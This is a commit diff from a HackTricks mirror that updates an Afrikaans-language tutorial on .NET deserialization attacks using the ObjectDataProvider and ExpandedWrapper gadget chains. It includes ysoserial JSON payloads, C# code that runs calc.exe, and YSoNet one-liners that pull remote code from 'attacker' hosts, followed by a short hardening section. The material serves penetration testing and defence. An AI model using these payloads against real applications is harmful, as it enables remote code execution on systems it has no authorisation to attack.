mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
parent
2465da8fad
commit
1226003095
@ -7,7 +7,7 @@ Hierdie pos is toegewy aan **die begrip van hoe die gadget ObjectDataProvider ui
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
Volgens die dokumentasie: _die ObjectDataProvider Klas Wrapping en skep 'n objek wat jy kan gebruik as 'n binding bron_.\
|
||||
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek te wrap**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\
|
||||
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om **'n arbitrêre objek** te **wrapping**, gebruik _**MethodParameters**_ om **arbitrêre parameters in te stel,** en dan **gebruik MethodName om 'n arbitrêre funksie** van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.\
|
||||
Daarom sal die arbitrêre **objek** 'n **funksie** met **parameters uitvoer terwyl dit gedeserialiseer word.**
|
||||
|
||||
### **Hoe is dit moontlik**
|
||||
@ -18,7 +18,7 @@ Met [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy die **kode** van die klas
|
||||
|
||||
.png>)
|
||||
|
||||
Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
|
||||
Soos jy kan waarneem, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -26,7 +26,7 @@ Goed, kom ons gaan voort om te sien wat `this.BeginQuery()` doen. `BeginQuery` w
|
||||
|
||||
.png>)
|
||||
|
||||
Let daarop dat aan die einde van die kode `this.QueryWorke(null)` aangeroep word. Kom ons kyk wat dit uitvoer:
|
||||
Let daarop dat dit aan die einde van die kode `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -56,10 +56,10 @@ Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\P
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserializeer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserializeer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat ingepak is** in die _ObjectDataProvider_ instansie (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserialiseer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Hierdie klas laat jou toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **spesifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
|
||||
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **\_ObjectDataProvider**_** binne 'n **_**ExpandedWrapper** \_ instansie te **wrappen** en **wanneer dit gedeserializeer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
|
||||
Hierdie klas laat toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **specifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
|
||||
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **_ObjectDataProvider**_** binne 'n **_**ExpandedWrapper** _ instansie te **wrappen** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
|
||||
|
||||
Jy kan hierdie wrapper met die volgende kode nagaan:
|
||||
```java
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
In hierdie kode kan jy **die exploit toets**, hardloop dit net en jy sal sien dat 'n calc uitgevoer word:
|
||||
In hierdie kode kan jy **die exploit toets**, net dit uitvoer en jy sal sien dat 'n kalkulator uitgevoer word:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Gevorderde .NET Gadget Kettings (YSoNet & ysoserial.net)
|
||||
|
||||
Die ObjectDataProvider + ExpandedWrapper tegniek wat hierbo bekendgestel is, is slegs een van baie gadget kettings wat misbruik kan word wanneer 'n toepassing **onveilige .NET deserialisering** uitvoer. Moderne rooi-span gereedskap soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skepping van **gereed-om-te-gebruik kwaadwillige objek grafieke** vir dosyne gadgets en serialisering formate.
|
||||
|
||||
Hieronder is 'n saamgeperste verwysing van die nuttigste kettings wat saam met *YSoNet* verskaf word, saam met 'n vinnige verduideliking van hoe hulle werk en voorbeeldopdragte om die payloads te genereer.
|
||||
|
||||
| Gadget Ketting | Sleutel Idee / Primitive | Algemene Serializers | YSoNet een-liner |
|
||||
|----------------|--------------------------|----------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Korrupt die `DelegateSerializationHolder` rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* aanvaller verskafde metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *te omseil .NET ≥4.8 tipe-filtering* en direk die **konstruktors** van 'n verskafde klas aan te roep of 'n C#-lêer ter plaatse te **kompiler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Maak gebruik van die **erfgoed XML** voorstelling van `System.Data.DataSet` om arbitrêre tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Op WPF-geaktiveerde runtimes (> .NET 5) kettings eienskap getters totdat dit `System.CodeDom.Compiler.CompilerResults` bereik, dan *kompiler* of *laai* 'n DLL wat met `-c` verskaf word | `Json.NET` typeloos, `MessagePack` typeloos | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (hersien) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n arbitrêre statiese metode met beheerde argumente aan te roep. YSoNet voeg 'n gerieflike `--xamlurl` variasie by om die kwaadwillige XAML op afstand te huisves | `BinaryFormatter`, `Json.NET`, `XAML`, *ens.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Inbed `ScriptBlock` in `System.Management.Automation.PSObject` wat uitvoer wanneer PowerShell die objek deserialiseer | PowerShell afstandsbediening, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Alle payloads word **standaard na *stdout*** geskryf, wat dit triviaal maak om hulle in ander gereedskap te pipen (bv. ViewState generators, base64 encoders, HTTP clients).
|
||||
|
||||
### Bou / Installeer YSoNet
|
||||
|
||||
As daar geen vooraf-gecompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases*, sal die volgende **PowerShell** een-liner 'n bou omgewing opstel, die repository kloon en alles in *Release* modus kompileer:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Die saamgestelde `ysonet.exe` kan dan onder `ysonet/bin/Release/` gevind word.
|
||||
|
||||
### Opsporing & Versterking
|
||||
* **Detecteer** onverwagte kindprosesse van `w3wp.exe`, `PowerShell.exe`, of enige proses wat gebruikersverskafde data deserialiseer (bv. `MessagePack`, `Json.NET`).
|
||||
* Aktiveer en **handhaaf tipe-filtering** (`TypeFilterLevel` = *Volledig*, pasgemaakte `SurrogateSelector`, `SerializationBinder`, *ens.*) wanneer die ou `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
|
||||
* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde omskakelaars.
|
||||
* Blokkeer gevaarlike WPF-biblioteke (`PresentationFramework`, `System.Workflow.*`) om in webprosesse gelaai te word wat dit nooit nodig behoort te hê nie.
|
||||
|
||||
## Verwysings
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – oorspronklike PoC-instrument](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user